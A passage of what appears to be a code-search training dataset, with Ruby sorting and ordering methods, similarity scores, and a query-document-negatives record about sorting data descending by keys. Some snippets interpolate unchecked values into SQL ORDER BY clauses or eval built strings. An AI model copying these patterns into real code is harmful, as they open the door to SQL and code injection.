"def sort_keys\n sort_key_column_names = if can_optimise_for_different_table?\n [foreign_key_column_name_to_optimised_table]\n else\n [primary_key_column_name].compact\n end\n\n sort_key_column_names + DEFAULT_SORT_KEYS.select { |column_name| table_includes_column?(column_name) }\n end",
"def sort(*fields)\n params(sort: fields.join(SORT_VALUES_SEPARATOR))\n end",
"def sorting\n sort_no = 0\n sorts = []\n\n loop do\n sorted = false\n name_col = \"iSortCol_#{sort_no}\"\n name_mode = \"sSortDir_#{sort_no}\"\n sort_col = @dts[name_col]\n break if !sort_col\n\n col_name = @columns[sort_col.to_i]\n next if !col_name\n\n if @dts[name_mode] == \"desc\"\n sort_mode = \"DESC\"\n else\n sort_mode = \"ASC\"\n end\n\n if match = col_name.to_s.match(/^(.+)_id$/)\n method_name = match[1]\n sub_model_name = StringCases.snake_to_camel(col_name.slice(0, col_name.length - 3))\n\n if Kernel.const_defined?(sub_model_name)\n sub_model_const = Kernel.const_get(sub_model_name)\n unless @joins.key?(method_name)\n @query = @query.includes(method_name)\n @joins[method_name] = true\n end\n\n @sort_columns.each do |sort_col_name|\n if sub_model_const.column_names.include?(sort_col_name.to_s)\n sorts << \"`#{sub_model_const.table_name}`.`#{escape_col(sort_col_name)}` #{sort_mode}\"\n sorted = true\n break\n end\n end\n end\n end\n\n if @model.column_names.include?(col_name.to_s)\n sorts << \"`#{@model.table_name}`.`#{escape_col(col_name)}` #{sort_mode}\"\n elsif @args[:sort]\n res = @args[:sort].call(:key => col_name, :sort_mode => sort_mode, :query => @query)\n @query = res if res\n else\n raise \"Unknown sort-column: '#{col_name}'.\"\n end\n\n sort_no += 1\n end\n\n @query = @query.order(sorts.join(\", \"))\n end",
"def sort_fields(fields)\n fields.sort {|a,b| (COLUMN_SORTING_MAP[a] || a).to_s <=> (COLUMN_SORTING_MAP[b] || b).to_s }\n end",
"def sort(key, by: T.unsafe(nil), limit: T.unsafe(nil), get: T.unsafe(nil), order: T.unsafe(nil), store: T.unsafe(nil)); end",
"def order_by(*sort_heads)\n # Sort the rows in order and add to new_rows.\n key_hash = partition_sort_keys(sort_heads)\n new_rows = rows.sort do |r1, r2|\n # Set the sort keys based on direction\n key1 = []\n key2 = []\n key_hash.each_pair do |h, dir|\n if dir == :forward\n key1 << r1[h]\n key2 << r2[h]\n else\n key1 << r2[h]\n key2 << r1[h]\n end\n end\n # Make any booleans comparable with <=>\n key1 = key1.map_booleans\n key2 = key2.map_booleans\n\n # If there are any nils, <=> will return nil, and we have to use the\n # special comparison method, compare_with_nils, instead.\n result = (key1 <=> key2)\n result.nil? ? compare_with_nils(key1, key2) : result\n end\n\n # Add the new_rows to the table, but mark a group boundary at the points\n # where the sort key changes value. NB: I use self.class.new here\n # rather than Table.new because if this class is inherited, I want the\n # new_tab to be an instance of the subclass. With Table.new, this\n # method's result will be an instance of FatTable::Table rather than of\n # the subclass.\n new_tab = empty_dup\n last_key = nil\n new_rows.each_with_index do |nrow, k|\n new_tab << nrow\n key = nrow.fetch_values(*key_hash.keys)\n new_tab.mark_boundary(k - 1) if last_key && key != last_key\n last_key = key\n end\n new_tab.normalize_boundaries\n new_tab\n end",
"def order_by *columns\n @order += [columns].flatten\n end",
"def sort(*sorts)\n query('sort' => sorts)\n end",
"def sort_data_descending!(*sort_keys)\n self.sort_data!(false, sort_keys)\n end",
"def sort_data\n store.sort_data!\n end",
"def sort_by_key(ascending=true, num_partitions=nil)\n self.sort_by('lambda{|(key, _)| key}')\n end",
"def order(*args)\n sql_records = records.__send__ :order, *args\n end",
"def sorted\n all.order(%[ #{quoted_table_name}.\"recorded_at\", #{quoted_table_name}.\"hid\" ])\n end",
"def sorted\n all.order(Arel.sql(%[ #{quoted_table_name}.\"recorded_at\" ASC, #{quoted_table_name}.\"hid\" ASC ]))\n end",
"def sort(key, by: nil, limit: nil, get: nil, order: nil, store: nil)\n args = [:sort, key]\n args << \"BY\" << by if by\n\n if limit\n args << \"LIMIT\"\n args.concat(limit)\n end\n\n get = Array(get)\n get.each do |item|\n args << \"GET\" << item\n end\n\n args.concat(order.split(\" \")) if order\n args << \"STORE\" << store if store\n\n send_command(args) do |reply|\n if get.size > 1 && !store\n reply.each_slice(get.size).to_a if reply\n else\n reply\n end\n end\n end",
"def sort_docs_by_key!\n meta_key = metadata[\"sort_by\"]\n # Modify `docs` array to cache document's property along with the Document instance\n docs.map! { |doc| [doc.data[meta_key], doc] }.sort! do |apples, olives|\n order = determine_sort_order(meta_key, apples, olives)\n\n # Fall back to `Document#<=>` if the properties were equal or were non-sortable\n # Otherwise continue with current sort-order\n if order.nil? || order.zero?\n apples[-1] <=> olives[-1]\n else\n order\n end\n\n # Finally restore the `docs` array with just the Document objects themselves\n end.map!(&:last)\n end",
"def order(*args)\r\n args.map!{ |arg| arg.is_a?(Hash) ? arg.map{ |k,v| \"#{k} #{v.upcase}\"} : arg }\r\n order = args.flatten(2).join(\", \")\r\n\r\n rows = connection.execute <<-SQL\r\n SELECT * FROM #{table}\r\n ORDER BY #{order};\r\n SQL\r\n\r\n rows_to_array(rows)\r\n end",
"def sort(key, opts={})\n cmd = \"SORT #{key}\"\n cmd << \" BY #{opts[:by]}\" if opts[:by]\n cmd << \" GET #{opts[:get]}\" if opts[:get]\n cmd << \" INCR #{opts[:incr]}\" if opts[:incr]\n cmd << \" DEL #{opts[:del]}\" if opts[:del]\n cmd << \" DECR #{opts[:decr]}\" if opts[:decr]\n cmd << \" #{opts[:order]}\" if opts[:order]\n cmd << \" LIMIT #{opts[:limit].join(' ')}\" if opts[:limit]\n cmd << \"\\r\\n\"\n write cmd\n multi_bulk_reply\n end",
"def sort_rows(rows, sorts)\n RecordSorter.new(rows).sort(sorts)\n end",
"def arel_order\n text_columns = if params[:order]\n params[:order].split(' ')\n elsif self.default_sort\n [self.default_sort].flatten\n else\n [model_class.primary_key].flatten\n end\n sort_columns = text_columns.map do |column|\n if column.to_s.include?('.')\n name,direction = column.to_s.split('.',2)\n raise \"Illegal sort direction: #{direction} in #{column}\" unless %w{asc desc}.include?(direction)\n table[name].send(direction)\n else\n table[column]\n end\n end\n sort_columns\n end",
"def <=>(schema)\n sort_key <=> schema.sort_key\n end",
"def sort(key, **options); end",
"def timestamp_sort_order(direction = \"asc\")\n [arel_table[PaperTrail.event_field].send(direction.downcase), arel_table[PaperTrail.timestamp_field].send(direction.downcase)].tap do |array|\n array << arel_table[primary_key].send(direction.downcase) if primary_key_is_int?\n end\n end",
"def sort(key, **options)\n keys = [key, options[:by], options[:store], *Array(options[:get])].compact\n\n ensure_same_node(:sort, keys) do |node|\n node.sort(key, **options)\n end\n end",
"def sort_by(*arguments, &block)\n data.sort_by(*arguments, &block)\n end",
"def order(*columns)\n warn \"DynamoDB only supports order by range_key\" if columns.any?\n\n query\n @options[:scan_index_forward] = true\n self\n end",
"def sort(column=@sort_by, asc = @sort_order)\n column_format = format[index(column)]\n x_sort_string = \"x.data[index('#{column}')]\"\n y_sort_string = \"y.data[index('#{column}')]\"\n \n if !(NUMBER_FORMATS + DATE_FORMATS).include? format[index(column)]\n x_sort_string = x_sort_string + \".to_s\"\n y_sort_string = y_sort_string + \".to_s\"\n end\n \n if NUMBER_FORMATS.include? format[index(column)]\n x_sort_string = x_sort_string + \".to_f\"\n y_sort_string = y_sort_string + \".to_f\" \n end\n\n # Sort the rows:\n # By returning -1 in case the comparison fails, we ensure that the sort never raises an error; however,\n # we may not get a proper sort, but it's better to have the app not fail\n @rows.sort! {|x, y| (instance_eval(x_sort_string) <=> instance_eval(y_sort_string)) || -1}\n \n @rows.reverse! unless asc\n end",
"def sort_by(options)\n self.sort = options\n end",
"def sort_by(att, options = {})\n sort(options.merge(:by => to_key(att)))\n end",
"def sort_by_key(key = :name)\n sort do |x, y|\n x_value = x[key]\n y_value = y[key]\n x_value <=> y_value\n end\n end",
"def order(*args) \n\t\t#normalize the arguments\n\t\t#go through each argument to figure out what type it is\n\t\torder_array = []\n\t\targs.each do |arg|\n\t\t\tcase arg \n\t\t\twhen String \n\t\t\t\torder_array.push(arg)\n\t\t\twhen Symbol \n\t\t\t\torder_array.push(arg.to_s)\n\t\t\twhen Hash \n\t\t\t\torder_array << arg.map{|key, value| \"#{key} #{value}\"}\n\t\t\tend\n\t\tend\n\t\torder_command = order_array.join(\",\")\n\n\t\trows = connection.execute <<-SQL\n\t\t\tSELECT * FROM #{table}\n\t\t\tORDER BY #{order_command};\n\n\t\tSQL\n\t\trows_to_array(rows)\n\n\tend",
"def sort_types\n @sort_types ||= begin\n sql = <<-SQLT\n SELECT\n CASE\n WHEN min(sortkey) < 0 THEN 'interleaved'\n ELSE 'compound'\n END AS sort_type, tablename\n FROM pg_table_def\n WHERE tablename in (#{tables_for_sql})\n GROUP BY tablename\n SQLT\n RailsRedshiftReplicator.connection.exec(sql.squish).entries\n end\n end",
"def sort sortfield = :id, descending = false\n @sortfield = sortfield.to_sym\n reverse = descending ? -1 : 1\n @data = @data.compact.sort { |us1, us2|\n comp =\n if us1[@sortfield] && us2[@sortfield]\n us1[@sortfield] <=> us2[@sortfield]\n elsif us1[@sortfield]\n 1\n elsif us2[@sortfield]\n -1\n else\n 0\n end\n comp * reverse\n }\n end",
"def sort_records(records)\n sort_order = order.map { |direction| [ direction.target, direction.operator == :asc ] }\n\n records.sort_by do |record|\n sort_order.map do |(property, ascending)|\n Sort.new(record_value(record, property), ascending)\n end\n end\n end",
"def sort_column(columns)\n columns[params[\"order\"][\"0\"][\"column\"].to_i]\n end",
"def sort(table_name, list, sort_by, order, per_page, default)\r\n\r\n if table_name.has_attribute?(sort_by) && (order == \"asc\" || order == \"desc\")\r\n list = list.sort_by{|item| item[sort_by].to_s.downcase}\r\n if order == \"desc\"\r\n list = list.reverse\r\n end\r\n list \r\n else\r\n # default case\r\n list.sort_by{|item| item[default].downcase}\r\n end\r\n\r\n end",
"def sort_docs_by_key!; end",
"def order_prepend(*columns, &block)\n ds = order(*columns, &block)\n @opts[:order] ? ds.order_append(*@opts[:order]) : ds\n end",
"def tableView_sortDescriptorsDidChange(aTableView, oldDescriptors)\n\t\tsort_descriptors = aTableView.sortDescriptors\n\t\tputs sort_descriptors\n\t\tputs oldDescriptors\n\t\t@order = \"\"\n\t\t@order = sort_descriptors.map { |sd| \"lower(#{ sd.key }) #{ sd.ascending ? 'asc' : 'desc' }\" }.join(', ') if sort_descriptors.any?\n\n\t\treload\n\tend",
"def sort_asc(column_name)\n results = CONNECTION.execute(\"SELECT * FROM #{table_name} ORDER BY #{column_name} ASC;\")\n results_as_objects(results)\n end",
"def prepared_columns(cols)\n RUBY_VERSION >= '1.9' ? cols.sort : cols.sort_by(&:to_s)\n end",
"def sort_and_order_sql\n {:sort => ATTACH_MAPPING[@sort], :order => @order}\n end",
"def check_sort_options #:nodoc:\r\n table_name = @tables.first[1]\r\n return if session[table_name][:sort].nil? || @records.class != Mongoid::Criteria\r\n\r\n sort, direction = session[table_name][:sort].split(' ')\r\n @records = @records.order_by( sort => direction.to_i )\r\nend",
"def sort_rows!(order, *columns)\n correlation = (order == :ascending ? 1 : -1)\n @rows.sort! { |a,b|\n pivot = 0\n columns.each { |column|\n pivot = column\n break if a.cell(column).value != b.cell(column).value\n }\n (a.cell(pivot).value <=> b.cell(pivot).value) * correlation \n }\n end",
"def apply_sorting(relation)\n relation.order(@q.sorting.to_sql)\n end",
"def order(*columns)\n Lotus::Utils::Kernel.Array(columns).each do |column|\n conditions.push(Proc.new{ sort_by{|r| r.fetch(column)} })\n end\n\n self\n end",
"def sort_by(att, options = {})\n sort(options.merge(:by => model.key(\"*\", att)))\n end",
"def sort_by!( *headers )\n raise ArgumentError, 'Sheet#sort_by! does not support blocks.' if block_given?\n idx_array = headers.flatten.map { |header| data.index_by_header( header ) - 1 }\n sort_method = lambda { |array| idx_array.map { |idx| array[idx] } }\n data.sort_by!( &sort_method )\n self\n rescue ArgumentError => err\n raise( NoMethodError, 'Item not comparable in \"' + headers.flatten.map(&:to_s).join(', ') + '\"' ) if err.message == 'comparison of Array with Array failed'\n raise err\n end",
"def sort\n @sort ||= if order_by_primary_key?\n # Default order is by id DESC\n :desc\n else\n # API defaults to DESC order if param `sort` not present\n request_context.params[:sort]&.to_sym || :desc\n end\n end",
"def sort(options = {})\n if options.has_key?(:get)\n options[:get] = to_key(options[:get])\n\n Stal.solve(redis, [\"SORT\", key, *Utils.sort_options(options)])\n else\n fetch(Stal.solve(redis, [\"SORT\", key, *Utils.sort_options(options)]))\n end\n end",
"def api_sort(params)\n dataset = self.clone\n\n # Sort attribute\n if sort = params['sort']\n if model.attr_orders.include?(sort.to_sym)\n dataset = dataset.order sort.to_sym\n else\n raise ApiException.new(\"invalid sort attribute (#{sort})\")\n end\n elsif dataset.opts[:order].nil?\n # Order by ID.\n dataset = dataset.order(:\"#{model.table_name}__id\")\n end\n \n # Sort order\n if dir = params['order']\n order = dataset.opts[:order].map do |term|\n if dir == 'asc'\n if term.kind_of? Sequel::SQL::OrderedExpression\n # This is already ordered; modify the direction\n term.expression.asc\n else\n term.asc\n end\n elsif dir == 'desc'\n if term.kind_of? Sequel::SQL::OrderedExpression\n # This is already ordered; modify the direction\n term.expression.desc\n else\n term.desc\n end\n else\n raise ApiException, \"invalid order (#{params['order']}) is not 'asc' or 'desc'\"\n end\n end\n # Apply order\n dataset = dataset.order(*order)\n end\n\n dataset\n end",
"def sortBy(keyPath, ascending:ascending)\n scopeByAddingSortDescriptor(NSSortDescriptor.alloc.initWithKey(keyPath.to_s, ascending:ascending))\n end",
"def sort_by!\n return to_enum unless block_given?\n @rownames = Hash[*@rownames.sort_by.with_index do |(rowname, i), rowid| [yield(Row.new(self, rowid, @rows[i])), rowid] end.flatten(1)]\n self\n end",
"def sort_all\n\t\t\t\tr=::Hash[self.sort]\n\t\t\t\tr.each do |k,v|\n\t\t\t\t\tr[k]=v.sort\n\t\t\t\tend\n\t\t\t\treturn r\n\t\t\tend",
"def hadoop_sort_args\n [\n jobconf(:key_field_separator),\n jobconf(:sort_fields),\n ]\n end",
"def sort_cols(cols)\n cols.sort {|a,b| COLUMN_SORTING_MAP[a].to_s <=> COLUMN_SORTING_MAP[b].to_s }\n end",
"def sort\n @key_users.values.sort { |a, b| a.qnkeys <=> b.qnkeys }\n end",
"def apply_sort(query, table, column_name, allowed, direction)\n validate_query_table_column(query, table, column_name, allowed)\n validate_sorting(column_name, allowed, direction)\n\n # allow sorting by field mappings\n sort_field = @build.build_custom_calculated_field(column_name)&.fetch(:arel)\n sort_field = table[column_name] if sort_field.blank?\n\n if sort_field.is_a? String\n sort_field\n elsif direction == :desc\n Arel::Nodes::Descending.new(sort_field)\n else\n #direction == :asc\n Arel::Nodes::Ascending.new(sort_field)\n end => sort_field_by\n\n query.order(sort_field_by)\n end",
"def sortable_columns\n {'id' => \"#{Contact.table_name}.id\"}.merge(available_columns.inject({}) {|h, column|\n h[column.name.to_s] = column.sortable\n h\n })\n end",
"def set_sort_order\n object = params[:imageable_type].constantize.find(params[:imageable_id])\n uploads = object.uploads\n params[:order].each_pair do |key, value|\n uploads.find(value[:id]).update_columns(sort: key, updated_at: Time.now)\n end\n render json: { message: 'success' }, :status => 200\n end",
"def sort_by(key, options = {})\n # backwards compat: if options is not a hash, it is a sort ordering.\n unless options.is_a?Hash\n sort_order = options\n options = {\n order: sort_order,\n case_insensitive: false,\n }\n end\n\n options = {\n order: :ascending,\n }.merge(options)\n\n order = options[:order].to_s\n\n if order[0,4].downcase == 'desc'\n ascending = false\n else\n ascending = true\n end\n\n if options[:case_insensitive]\n descriptor = NSSortDescriptor.sortDescriptorWithKey(key, ascending: ascending, selector: \"localizedCaseInsensitiveCompare:\")\n else\n descriptor = NSSortDescriptor.sortDescriptorWithKey(key, ascending: ascending)\n end\n\n clone(sort_descriptors: @sort_descriptors + [descriptor])\n end",
"def sort_by!( &block )\n @data = skip_headers { |d| d.sort_by( &block ) }; self\n end",
"def order(*args)\n sql_records = records.__send__ :order, *args\n\n # Redefine the `to_a` method to the original one\n #\n sql_records.instance_exec do\n define_singleton_method(:to_a) do\n if defined?(::ActiveRecord) && ::ActiveRecord::VERSION::MAJOR >= 4\n self.load\n else\n self.__send__(:exec_queries)\n end\n @records\n end\n end\n\n sql_records\n end",
"def do_params_sort scope\n if self.class.custom_sort_fields[sort_column].present?\n scope = self.class.custom_sort_fields[sort_column].call scope, sort_direction\n elsif resource_class.column_names.include? sort_column\n scope.reorder(resource_class.table_name+\".\"+sort_column + \" \" + sort_direction)\n end\n end",
"def sort_key(value)\n @sort = value\n end",
"def update_sort_key\n @item.sort_key = @sortable[@parent.sort_index]\n @item.reversed = @parent.reversed? ? -1 : 1\n end",
"def order(sorts = {})\n clone.tap { |query| query.sorts = sorts }\n end",
"def order(*args)\n sql_records = records.__send__ :order, *args\n\n # Redefine the `to_a` method to the original one\n #\n sql_records.instance_exec do\n define_singleton_method(:to_a) do\n if defined?(::ActiveRecord) && ::ActiveRecord::VERSION::MAJOR >= 4\n self.load\n else\n self.__send__(:exec_queries)\n end\n @records\n end\n end\n\n sql_records\n end",
"def sort_column\n columns = %w[id]\n columns[params[:iSortCol_0].to_i]\n end",
"def sort_rows(index = sort_index, order = sort_order)\n return if index == -1\n return unless rows\n rows.sort! do |a,b|\n if a[index].nil?\n cmp = -1\n elsif b[index].nil?\n cmp = 1\n elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/\n cmp = a[index].to_i <=> b[index].to_i\n elsif (cmp = ip_cmp(a[index], b[index])) != nil\n else\n cmp = a[index] <=> b[index] # assumes otherwise comparable.\n end\n cmp ||= 0\n order == :forward ? cmp : -cmp\n end\n end",
"def sort(*arguments, &block)\n data.sort(*arguments, &block)\n end",
"def sort(data)\n if should_invert_sort?\n dir = inverted_sort_direction\n else\n dir = sort_direction\n end\n\n sfs = sort_fields\n sort_string = if sfs\n sfs.map { |p| \"#{p} #{dir}\" } * ', '\n else\n ''\n end\n\n data.reorder sort_string\n end",
"def check_sort_options() #:nodoc:\r\n table_name = @tables.first[1]\r\n old_sort = session[table_name][:sort].to_s\r\n sort, direction = old_sort.split(' ')\r\n# sort is requested\r\n if params['sort']\r\n # reverse sort if same selected\r\n if params['sort'] == sort\r\n direction = (direction == '1') ? '-1' : '1'\r\n end\r\n direction ||= 1\r\n sort = params[:sort]\r\n session[table_name][:sort] = \"#{params['sort']} #{direction}\"\r\n session[table_name][:page] = 1\r\n end\r\n @records.sort( sort => direction.to_i ) if session[table_name][:sort]\r\n params['sort'] = nil # otherwise there is problem with other links\r\nend",
"def apply_sorting_to_relation(rel)\n return rel if !params[:sort]\n\n sorts = params[:sort].split(',')\n\n sorts.each do |sort|\n if sort =~ /^([-+]?)(.*)$/\n desc = ($1 && $1 == '-')\n attrname = $2\n\n (attr, path) = rel.nested_attribute(attrname)\n\n rel = rel.joins { path[1..-1].inject(self.__send__(path[0]).outer) { |a,x| a.__send__(x).outer } } if path.any?\n\n # Call .asc explicitly to overcome a bug in pgsql adapter leading to undefined method to_sql\n attr = desc ? attr.desc : attr.asc\n\n rel = rel.order(attr)\n end\n end\n\n rel\n end",
"def index_sort_order\n @query = {}\n @query['sort_key'] = params['sort_key'] unless params['sort_key'].blank?\n\n if @query['sort_key']&.starts_with?('-')\n \"#{@query['sort_key'].delete_prefix('-')} DESC\"\n elsif @query['sort_key'].present?\n \"#{@query['sort_key']} ASC\"\n else\n 'updated_at DESC'\n end\n end",
"def query_sort(query)\n return query unless has_sort_params?\n\n apply_sort(query, @table, @sorting[:order_by], @valid_fields + @custom_fields2.keys, @sorting[:direction])\n end",
"def sortable(*columns, validate: true)\n columns.each { |column| validate_column(column, validate) }\n sortable_columns.concat(columns.map(&:to_s))\n end",
"def apply_sorting(query, sort_params)\n (sort_params[:sort] || {}).each do |idx, order|\n order = (order.to_i % 2 == 0) ? :asc : :desc\n filter = ajax_filters.find { |f| f.position == idx.to_i }\n\n next if filter.blank?\n\n klass = filter.klass || query.klass\n column = filter.column\n\n if filter.sorter_query.present?\n query = filter.sorter_query.call(query, order)\n else\n query = query.reorder(\"#{klass.table_name}.#{column} #{order} NULLS LAST\")\n end\n end\n\n query\n end",
"def add_sort_field(*) super end",
"def key_order\n # order(key: :asc)\n all.to_a.sort_by {|n| n.key }\n end",
"def sort_column\n Appointment.column_names.include?(params[:sort]) ? params[:sort] : \"resident_id\"\n Appointment.column_names.include?(params[:sort]) ? params[:sort] : \"doctor_id\"\n Appointment.column_names.include?(params[:sort]) ? params[:sort] : \"user_id\"\n Appointment.column_names.include?(params[:sort]) ? params[:sort] : \"date\"\n Appointment.column_names.include?(params[:sort]) ? params[:sort] : \"time\"\n Appointment.column_names.include?(params[:sort]) ? params[:sort] : \"apt_type\"\nend",
"def sorted!(sort_query_string = nil)\n generator = parse_sorting(sort_query_string)\n generator.sort(self, reorder: true)\n end",
"def calls_sort_option\n column = case params[:iSortCol_0].to_s\n when '1'\n 'number'\n when '2'\n 'caller_id'\n when '3'\n 'providers.name'\n when '4'\n 'answered'\n when '5'\n 'busy'\n when '6'\n 'audio_length'\n when '7'\n 'ring_length'\n end\n column + ' ' + (params[:sSortDir_0] =~ /^A/i ? 'asc' : 'desc') if column\n end",
"def sort_params\n params\n .require('pkeys')\n .map {|p| p.permit(*dynamic_scaffold.model.primary_key) }\n end",
"def table_sort_string table_code\n sorting = table_preferences(table_code)[:sort]\n column = sorting.first \n key = column.keys.first \n order_string = (column[key] == :descending) ? \"DESC\" : \"ASC\"\n fallback_key = DEFAULT_TABLE_PREFERENCES[table_code.to_sym][:sort].first.keys[0]\n sort_column = SORT_COLUMN[table_code][key] || SORT_COLUMN[table_code][fallback_key]\n return \"#{sort_column} #{order_string}\"\n end",
"def sort_column\n session[:sort] = Stock.column_names.include?(params[:sort]) ? params[:sort] : session[:sort] || \"id\"\n end",
"def sort_params(model, params)\n # Keep only sortable columns\n p = params.to_s.split(',').select { |v| (model.allowed_columns || []).include?(v.sub(/^-/, '').to_sym) }\n\n p.map do |v|\n if v[0] == '-'\n # Descending sort\n Sequel.desc(v[1..-1].to_sym)\n else\n # Ascending sort\n Sequel.asc(v.to_sym)\n end\n end\n end",
"def sort_params\n @_sort_params ||=\n if params[:sort].present?\n params[:sort].split(',').each_with_object({}) do |field, hash|\n unformatted_field = @request.unformat_key(field)\n desc, field = unformatted_field.to_s.match(/^([-_])?(\\w+)$/i)[1..2]\n hash[field.to_sym] = desc.present? ? :desc : :asc\n end\n end\n end",
"def columns_in_order\n @columns.values.sort_by { |c| c.order }\n end",
"def sort_order\n sortable_column_order do |column, direction|\n if resource_handler.model_associations.present? && column.match(/\\./)\n table, column = column.split('.')\n if resource_handler.model_associations.detect { |a| a.table_name == table }\n \"#{table}.#{column} #{direction}\"\n else\n fallback_sort_order(direction)\n end\n elsif resource_handler.model.column_names.include?(column.to_s)\n \"#{resource_handler.model.table_name}.#{column} #{direction}\"\n else\n fallback_sort_order(direction)\n end\n end\n end",
"def _literal_table_sort(tables)\n tables.sort_by{|s| literal(s)}\n end",
"def order_by(ids, klass=nil)\n column = namespaced_column(:id, klass)\n if ids.empty?\n nil\n elsif ::ActiveRecord::Base.is_mysql_adapter?\n \"FIELD(#{column},#{ids.join(',')})\"\n else\n order = ''\n ids.each_index { |i| order << \"WHEN #{column}=#{ids[i]} THEN #{i+1} \" }\n \"CASE \" + order + \" END\"\n end\n end",
"def _primary_key_order\n if @opts[:order].nil? && model && (pk = model.primary_key)\n cached_dataset(:_pk_order_ds){order(*pk)}\n end\n end",
"def _primary_key_order\n if @opts[:order].nil? && model && (pk = model.primary_key)\n cached_dataset(:_pk_order_ds){order(*pk)}\n end\n end",
"def sort\n sorter = to_hash\n sorter['fields'] =\n sorter['fields'].sort_by.with_index { |f, idx| [f.keys, idx] }\n MARC::Record.new_from_hash(sorter)\n end",
"def order_by(*props)\n @query[:order_by] = props.join(',')\n self\n end",
"def sort_column\n Race.column_names.include?(params[:sort]) ? params[:sort] : 'name'\n end"
] |
[
"0.75310045",
"0.71050555",
"0.61659116",
"0.61338425",
"0.59853387",
"0.59486353",
"0.5941142",
"0.59029365",
"0.5882253",
"0.58397055",
"0.58256537",
"0.5752118",
"0.5712452",
"0.5693306",
"0.5688002",
"0.56807214",
"0.56747276",
"0.567059",
"0.56665313",
"0.565522",
"0.56211764",
"0.55916536",
"0.55502486",
"0.5534093",
"0.55080056",
"0.5476308",
"0.5469261",
"0.54309267",
"0.54148364",
"0.5407162",
"0.53755975",
"0.53600264",
"0.53526795",
"0.5342514",
"0.53360856",
"0.53359365",
"0.5314077",
"0.5308603",
"0.5308034",
"0.5306989",
"0.52987045",
"0.5298095",
"0.52965397",
"0.5294218",
"0.5287274",
"0.52845776",
"0.52821434",
"0.5265279",
"0.52526855",
"0.52347904",
"0.5233499",
"0.5222683",
"0.52143306",
"0.5213298",
"0.520093",
"0.5199032",
"0.51765513",
"0.5166656",
"0.51626444",
"0.5157289",
"0.5150813",
"0.51468164",
"0.51383656",
"0.513472",
"0.51336795",
"0.51190174",
"0.5101197",
"0.51010805",
"0.5079399",
"0.507849",
"0.5073899",
"0.505291",
"0.5052669",
"0.5045232",
"0.5043049",
"0.5039484",
"0.50387967",
"0.5036953",
"0.502785",
"0.5026272",
"0.5026143",
"0.5020396",
"0.50201845",
"0.5018828",
"0.50150245",
"0.49861535",
"0.49799457",
"0.49690747",
"0.4968362",
"0.4956393",
"0.49543947",
"0.49522176",
"0.4952085",
"0.49482462",
"0.49464896",
"0.49440306",
"0.49440306",
"0.49396014",
"0.4933854",
"0.49125585"
] |
0.7546592
|
0
|
Sorts the receiver's data in descending order using the specified sort keys. +sort_keys+:: A list of column IDs to sort on. If table does not have a column with one of the IDs, that ID is ignored.
|
def sort_data_descending!(*sort_keys)
self.sort_data!(false, sort_keys)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sort_data!(is_ascending, sort_keys)\n sort_key_indices = sort_keys.collect { |key| @columns.index(@columns.find { |column| column.id == key }) }.reject { |e| !e }\n\n @data.sort! do |row1, row2|\n comparison_result = 0\n\n sort_key_indices.each do |index|\n comparison_result = @columns[index].data_comparator.call(row1[index], row2[index])\n comparison_result *= -1 if !is_ascending\n break unless comparison_result == 0\n end\n\n comparison_result\n end\n end",
"def desc(*columns)\n Lotus::Utils::Kernel.Array(columns).each do |column|\n conditions.push(Proc.new{ sort_by{|r| r.fetch(column)}.reverse })\n end\n\n self\n end",
"def sort_descending(sort)\n self.query.sort = sort\n self.query.sort_descending = true\n self\n end",
"def sort(sort_keys, *args)\n raise NotImplementedError\n end",
"def desc(*columns)\n warn \"DynamoDB only supports order by range_key\" if columns.any?\n\n query\n @options[:scan_index_forward] = false\n self\n end",
"def sort sortfield = :id, descending = false\n @sortfield = sortfield.to_sym\n reverse = descending ? -1 : 1\n @data = @data.compact.sort { |us1, us2|\n comp =\n if us1[@sortfield] && us2[@sortfield]\n us1[@sortfield] <=> us2[@sortfield]\n elsif us1[@sortfield]\n 1\n elsif us2[@sortfield]\n -1\n else\n 0\n end\n comp * reverse\n }\n end",
"def sort_data_ascending!(*sort_keys)\n self.sort_data!(true, sort_keys)\n end",
"def descending(*fields)\n clone.tap do |crit|\n setup_sort_options(crit.options) unless fields.first.nil?\n fields.flatten.each { |field| merge_options(crit.options[:sort], [ localize(field), :desc ]) }\n end\n end",
"def descending\n swap(:startkey, :endkey) if query[:startkey] || query[:endkey]\n swap(:startkey_docid, :endkey_docid) if query[:startkey_docid] || query[:endkey_docid]\n\n update_query(:descending => true)\n end",
"def sort(key, by: T.unsafe(nil), limit: T.unsafe(nil), get: T.unsafe(nil), order: T.unsafe(nil), store: T.unsafe(nil)); end",
"def sort_data\n sort_cols = @columns.select{ |col| col.sort_order }.sort_by{ |col| col.sort_order }\n if sort_cols.length > 0\n log.fine \"Sorting by #{sort_cols.map(&:header).to_sentence}\"\n @data.sort! do |a, b|\n ord = nil\n sort_cols.each do |col|\n if col.sort_ascending\n a_val = a[col.column_index]\n b_val = b[col.column_index]\n else\n a_val = b[col.column_index]\n b_val = a[col.column_index]\n end\n ord = a_val <=> b_val || (a_val && 1) || (b_val && -1) || 0\n break unless ord == 0\n end\n ord\n end\n end\n end",
"def sort(key, by: nil, limit: nil, get: nil, order: nil, store: nil)\n args = [:sort, key]\n args << \"BY\" << by if by\n\n if limit\n args << \"LIMIT\"\n args.concat(limit)\n end\n\n get = Array(get)\n get.each do |item|\n args << \"GET\" << item\n end\n\n args.concat(order.split(\" \")) if order\n args << \"STORE\" << store if store\n\n send_command(args) do |reply|\n if get.size > 1 && !store\n reply.each_slice(get.size).to_a if reply\n else\n reply\n end\n end\n end",
"def sort\n @sort ||= if order_by_primary_key?\n # Default order is by id DESC\n :desc\n else\n # API defaults to DESC order if param `sort` not present\n request_context.params[:sort]&.to_sym || :desc\n end\n end",
"def sort_by(*arguments, &block)\n data.sort_by(*arguments, &block)\n end",
"def sort(key, opts={})\n cmd = \"SORT #{key}\"\n cmd << \" BY #{opts[:by]}\" if opts[:by]\n cmd << \" GET #{opts[:get]}\" if opts[:get]\n cmd << \" INCR #{opts[:incr]}\" if opts[:incr]\n cmd << \" DEL #{opts[:del]}\" if opts[:del]\n cmd << \" DECR #{opts[:decr]}\" if opts[:decr]\n cmd << \" #{opts[:order]}\" if opts[:order]\n cmd << \" LIMIT #{opts[:limit].join(' ')}\" if opts[:limit]\n cmd << \"\\r\\n\"\n write cmd\n multi_bulk_reply\n end",
"def <=>(schema)\n sort_key <=> schema.sort_key\n end",
"def sort_data\n store.sort_data!\n end",
